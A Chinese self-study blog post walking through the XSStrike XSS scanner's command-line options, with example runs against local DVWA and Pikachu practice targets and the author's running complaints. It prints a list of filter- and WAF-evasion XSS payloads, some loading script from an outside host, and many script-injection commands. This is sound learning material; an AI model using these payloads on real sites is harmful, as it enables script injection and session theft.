网络安全-XSStrike中文手册（自学笔记）

柔情只为你懂 2022-12-15 08:34 145阅读 0赞

**目录**

安装

克隆

安装模块

环境要求

python版本

操作系统

选项

帮助

添加目标url

单个

GET方法

POST方法

从文件

测试url路径组件

POST数据为json格式

爬取

默认

爬取深度

从文件读取payloads

查找隐藏参数

时间问题

线程数

超时

延迟

headers

盲注

有效负载编码

模糊测试

日志显示最低级别

跳过确认提示

跳过Dom扫描

更新

--------------------

是我打开方式不对吗？什么玩意呀（分析在最后）

# 安装 #

## 克隆 ##

>     git clone https://github.com/s0md3v/XSStrike.git

## 安装模块 ##

>     pip3 install -r requirements.txt

## 环境要求 ##

### python版本 ###

>=3.4

### 操作系统 ###

Linux (Arch, Debian, Ubnutu), Termux, Windows (7 & 10), Mac

# 选项 #

<table style="width:500px;">  选项  
 <thead> 
  <tr> 
   <th>选项</th> 
   <th>作用</th> 
  </tr> 
 </thead> 
 <tbody> 
  <tr> 
   <td>-h, --help</td> 
   <td>显示帮助信息并退出</td> 
  </tr> 
  <tr> 
   <td>&nbsp;-u, --url&nbsp;&nbsp;</td> 
   <td>目标url</td> 
  </tr> 
  <tr> 
   <td>--data&nbsp;</td> 
   <td>post方法的数据</td> 
  </tr> 
  <tr> 
   <td>-f, --file&nbsp;&nbsp;</td> 
   <td>从文件读取payloads</td> 
  </tr> 
  <tr> 
   <td>-t, --threads&nbsp;</td> 
   <td>线程数量</td> 
  </tr> 
  <tr> 
   <td>-l, --level&nbsp;&nbsp;</td> 
   <td>爬取级别</td> 
  </tr> 
  <tr> 
   <td>&nbsp;-t, --encode&nbsp;&nbsp;</td> 
   <td>payload采取的编码</td> 
  </tr> 
  <tr> 
   <td>&nbsp;--json&nbsp;&nbsp;</td> 
   <td>json格式的数据</td> 
  </tr> 
  <tr> 
   <td>--path</td> 
   <td>指定路径注入</td> 
  </tr> 
  <tr> 
   <td>--seeds</td> 
   <td>从文件加载url</td> 
  </tr> 
  <tr> 
   <td>--fuzzer&nbsp;</td> 
   <td>fuzz工具</td> 
  </tr> 
  <tr> 
   <td>&nbsp;--update &nbsp;&nbsp;&nbsp;&nbsp;</td> 
   <td>更新</td> 
  </tr> 
  <tr> 
   <td>--timeout&nbsp;&nbsp;</td> 
   <td>超时时间</td> 
  </tr> 
  <tr> 
   <td>--params</td> 
   <td>寻找参数</td> 
  </tr> 
  <tr> 
   <td>&nbsp;--crawl&nbsp;</td> 
   <td>爬取</td> 
  </tr> 
  <tr> 
   <td>--proxy&nbsp;&nbsp;&nbsp;&nbsp;</td> 
   <td>使用代理</td> 
  </tr> 
  <tr> 
   <td>&nbsp;--blind&nbsp;&nbsp;</td> 
   <td>爬取时盲注</td> 
  </tr> 
  <tr> 
   <td>--skip&nbsp;&nbsp;&nbsp;&nbsp;</td> 
   <td>跳过确认等</td> 
  </tr> 
  <tr> 
   <td>&nbsp;--skip-dom&nbsp;&nbsp;</td> 
   <td>跳过dom检查</td> 
  </tr> 
  <tr> 
   <td>&nbsp;--headers&nbsp;</td> 
   <td>添加headers</td> 
  </tr> 
  <tr> 
   <td>&nbsp; -d, --delay&nbsp;&nbsp;&nbsp;&nbsp;</td> 
   <td>两次请求之间的延迟</td> 
  </tr> 
 </tbody> 
</table>

# 帮助 #

python xsstrike.py -h

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70][]

# 添加目标url #

# 单个 #

## GET方法 ##

选项：-u或--url

> `python xsstrike.py -u "http://example.com/search.php?q=query"`

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>alert('xss')</script>"

![20201015205658940.PNG][]

## POST方法 ##

选项：--data

> `python xsstrike.py -u "http://example.com/search.php" --data "q=query"`

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_s/" --data "txtName=test&mtxMessage=This+is+a+test+comment.&btnSign=Sign+Guestbook"

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 1][]

## 从文件 ##

选项:--seeds 不使用-u选项

> `python xsstrike.py --seeds urls.txt`

文件内容：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 2][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 3][]

# 测试url路径组件 #

选项：--path

想要在URL路径中注入这样的有效负载 `http://example.com/search/<payload>`

> `python xsstrike.py -u "http://example.com/search/form/query" --path`

# POST数据为json格式 #

选项:--json

> `python xsstrike.py -u "http://example.com/search.php" --data '{"q":"query"}' --json`

# 爬取 #

从目标网页开始搜寻目标并进行测试。

## 默认 ##

选项:--crawl

> `python xsstrike.py -u "http://example.com/page.php" --crawl`

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/" --crawl

![20201015211654566.PNG][]

1/1 是它找到的，连个空格都不加，不太成熟。

## 爬取深度 ##

选项-l或--level 默认为2

> `python xsstrike.py -u "http://example.com/page.php" --crawl -l 3`

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/" --crawl -l 3

![20201015211933467.PNG][]

# 从文件读取payloads #

选项:-f或--file

> `python3 xsstrike.py -u "http://example.com/page.php?q=query" -f /path/to/file.txt`

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 4][]

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=''" -f payloads.txt

![20201015215222120.PNG][]

测试完毕，不给结果？？？

# 查找隐藏参数 #

选项： `--params`

> `python xsstrike.py -u "http://example.com/page.php" --params`

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/" --params

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 5][]

这个小东西是针不戳呢:)，文章我都写不下去了，这和sqlmap差远了呀！！！

# 时间问题 #

## 线程数 ##

选项： `-t`或 `--threads`，默认： `2`

> `python xsstrike.py -u "http://example.com" -t 10 --crawl -l 3`

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/" -t 3 --crawl -l 3

![20201015213355174.PNG][]

## 超时 ##

选项： `--timeout`, 默认： `7`

> `python xsstrike.py -u "http://example.com/page.php?q=query" --timeout=4`

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name='<script>alert('lady_killer')</script>'" --timeout=3

![20201015215535571.PNG][]

## 延迟 ##

两个请求之间的延迟

选项： `-d`或 `--delay`，默认： `0`

> `python xsstrike.py -u "http://example.com/page.php?q=query" -d 2`

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name='<script>alert('lady_killer')</script>'" -d 2

![20201015215715519.PNG][]

# headers #

选项： `--headers 使用\n分隔`

> `python xsstrike.py -u http://example.com/page.php?q=query --headers "Accept-Language: en-US\nCookie: null"`

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name='<script>alert('lady_killer')</script>'" --headers "Cookie:security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=h9u1rmfie6ck34qsa2890777o1"

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 6][]

真是棒棒的，我都忍不住抓包了！！！

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 7][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 8][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 9][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 10][]

大兄弟？？？Cookie呢？？？WTF

前面也就算了，应该是Cookie的问题，做到这里我心态炸了，这就GitHub第一XSS注入神器？？？

# 盲注 #

选项： `--blind`

在爬取时使用此选项，XSStrike注入定义在`core/config.py中的盲注payloads到`每个HTML表单的每个参数。

`core/config.py中的payloads`

> `python xsstrike.py -u "http://example.com/page.php?q=query" --crawl --blind`

> payloads = (  \# Payloads for filter & WAF evasion  
>     '\\'"</Script><Html Onmouseover=(confirm)()//'  
>     '<imG/sRc=l oNerrOr=(prompt)() x>',  
>     '<img src=x oNERror=(prompt)\`\` x>',  
>     '<deTails open oNToggle=confi\\u0072m()>',  
>     '<img sRc=l oNerrOr=(confirm)() x>',  
>     '<svg/x=">"/οnlοad=confirm()//',  
>     '<svg%0Aοnlοad=%09((pro\\u006dpt))()//',  
>     '<iMg sRc=x:confirm\`\` oNlOad=e\\u0076al(src)>',  
>     '<sCript x>confirm\`\`</scRipt x>',  
>     '<Script x>prompt()</scRiPt x>',  
>     '<sCriPt sRc=//14.rs>',  
>     '<embed//sRc=//14.rs>',  
>     '<base href=//14.rs/><script src=/>',  
>     '<object//data=//14.rs>',  
>     '<s=" οnclick=confirm\`\`>clickme',  
>     '<svG oNLoad=co\\u006efirm&\#x28;1&\#x29>',  
>     '\\'"><y///oNMousEDown=((confirm))()>Click',  
>     '<a/href=javascript&colon;co\\u006efirm&\#40;"1"&\#41;>clickme</a>',  
>     '<img src=x οnerrοr=confir\\u006d\`1\`>',  
>     '<svg/οnlοad=co\\u006efir\\u006d\`1\`>')

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name='<script>alert('lady_killer')</script>'" --crawl --blind

![20201015221527959.PNG][]

# 有效负载编码 #

选项： `-e`或 `--encode`

XSStrike可以按需编码有效负载。目前仅支持base64。

> `python xsstri``ke.py -u "http://example.com/page.php?q=query" -e base64`

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name='<script>alert('lady_killer')</script>'" -e base64

![20201015222002603.PNG][]

# 模糊测试 #

选项： `--fuzzer`

该模糊器旨在测试过滤器和Web应用程序防火墙。

> `python xsstrike.py -u "http://example.com/search.php?q=query" --fuzzer`

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name='<script>alert('lady_killer')</script>'" --fuzzer

# 日志显示最低级别 #

选项（控制台）： `--console-log-level，默认:INFO`

> `python xsstrike.py -u "http://example.com/search.php?q=query" --console-log-level WARNING`

选项（`文件`）`:--file-log-level，默认:None`

> `python xsstrike.py -u "http://example.com/search.php?q=query" --console-log-level DEBUG`

选项（配合`--file-log-level`）： `--log-file，默认: xsstrike.log`

> `python xsstrike.py -u "http://example.com/search.php?q=query" --file-log-level INFO --log-file output.log`

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name='<script>alert('lady_killer')</script>'" --crawl --blind --headers "Cookie:security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=h9u1rmfie6ck34qsa2890777o1" --file-log-level INFO

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 11][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 12][]

这我自己都能发现。。。浪费时间，回宿舍睡觉了。。。

继续搞。。。没准哪天可以了呢

# 跳过确认提示 #

选项：--skip

如果希望XSStrike发现了可以工作的payload后继续扫描，而不询问，则可以使用此选项。它也将跳过POC的生成。

> `python xsstrike.py -u "http://example.com/search.php?q=query" --skip`

python xsstrike.py -u "127.0.0.1/dvwa/vulnerabilities/xss_r/?name=s" --skip

![20201018210425817.PNG][]

# 跳过Dom扫描 #

选项：--skip-dom

如果确定了不是dom型，为了节省时间，可以跳过dom扫描。

> `python xsstrike.py -u "http://example.com/search.php?q=query" --skip-dom`

python xsstrike.py -u "127.0.0.1/dvwa/vulnerabilities/xss_r/?name=s" --skip-dom

确实没有check dom

![20201018210718217.PNG][]

# 更新 #

选项:--update

python xsstrike.py --update

![202010182108571.PNG][]

# 分析（DVWA不行） #

通过上面，大家也看到了我的很多抱怨。看来应该是dvwa的cookie问题，这个软件在cookie这个方面似乎做的不好。

我又试了靶机pikachu，是可以的。

python xsstrike.py -u "http://127.0.0.1/pikachu/vul/xss/xss_reflected_get.php?message=q&submit=submit" --skip-dom

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 13][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 14][]

有时间使用XSStrike写一下pikachu的xss注入。

\------------------------20201027更新------------------------------

各位，是我的问题，没有好好看官方文档，--headers里面关键字及冒号后面需要一个空格，本文上面的内容我就不改了，实战部分请看下面的文章，当然XSStrike还有点小问题也在下文。

[网络安全-靶机pikachu之xss注入与代码分析（XSStrike实战）][-_pikachu_xss_XSStrike]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 15][] 添加空格即可

\-------------------------20201027更新------------------------------

手工dvwa来啦：

[网络安全-靶机dvwa之XSS注入Low到High详解（含代码分析）][-_dvwa_XSS_Low_High]

更多内容查看：[网络安全-自学笔记][-]

喜欢本文的请动动小手点个赞，收藏一下，有问题请下方评论，转载请注明出处，并附有原文链接，谢谢！如有侵权，请及时联系。如果您感觉有所收获，自愿打赏，可选择支付宝18833895206（小于），您的支持是我不断更新的动力。

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70]: /images/20221123/4d9c501665d746c39ddd4b305ccf5a0a.png
[20201015205658940.PNG]: /images/20221123/c8b085b2d76642c3a7d113ef1c1ecc90.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 1]: /images/20221123/59cab220d6b5450c9e6485f8b2668444.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 2]: /images/20221123/d5632552891b4d88b7b5c9a6cb94f4f3.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 3]: /images/20221123/862ed610dfd4438bbc022d41f304283b.png
[20201015211654566.PNG]: /images/20221123/424de5b01d0f461f8ecebd13367c509d.png
[20201015211933467.PNG]: /images/20221123/41e84032ebe64d43913a3c1882c6cf6b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 4]: /images/20221123/e509f02850be45829e2a4c0989e988c1.png
[20201015215222120.PNG]: /images/20221123/e711112f1c334c07955ae7f62c3ad06e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 5]: /images/20221123/d6abc7ffc7f94dc0bdf98e93862c7d0c.png
[20201015213355174.PNG]: /images/20221123/b7720fe445514980a0b6849869220a0a.png
[20201015215535571.PNG]: /images/20221123/abb45a1d26d54ee0950d420cd915e7c8.png
[20201015215715519.PNG]: /images/20221123/831fa6c000834a75812935322aa2f2e5.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 6]: /images/20221123/859403b16c824e3d9efacdb9862b084f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 7]: /images/20221123/9d2b0789a8a6495e98d20aaffde51abc.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 8]: /images/20221123/d61903da44cc4bc0b8d7098919374dc0.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 9]: /images/20221123/d0bc98f8d3c8469c822765df5a315102.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 10]: /images/20221123/aa10ba855e3140ed8b7aa126a98b8da7.png
[20201015221527959.PNG]: /images/20221123/5871091d48e44a018d55281acecb0011.png
[20201015222002603.PNG]: /images/20221123/6d1076cd316c42448d4c900f8ba14612.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 11]: /images/20221123/55b0281ffa464f0aba760d5663d73172.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 12]: /images/20221123/c1480545ae2f4075ac14268a1557f6b9.png
[20201018210425817.PNG]: /images/20221123/531cdd9583cb4a7e8305215735ca321b.png
[20201018210718217.PNG]: /images/20221123/e307639b09d64a169067edbbc37c3061.png
[202010182108571.PNG]: /images/20221123/a85e221680ae4bdc9b68beffdca44b76.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 13]: /images/20221123/30c4c5e411ee44beaff061051eccd4ef.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 14]: /images/20221123/52bcba6ec151467faaf64343de349a3c.png
[-_pikachu_xss_XSStrike]: https://blog.csdn.net/lady_killer9/article/details/109296718
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 15]: /images/20221123/129a75908dde4251b4d4a828a7fddab4.png
[-_dvwa_XSS_Low_High]: https://blog.csdn.net/lady_killer9/article/details/109117420
[-]: https://blog.csdn.net/lady_killer9/article/details/106791542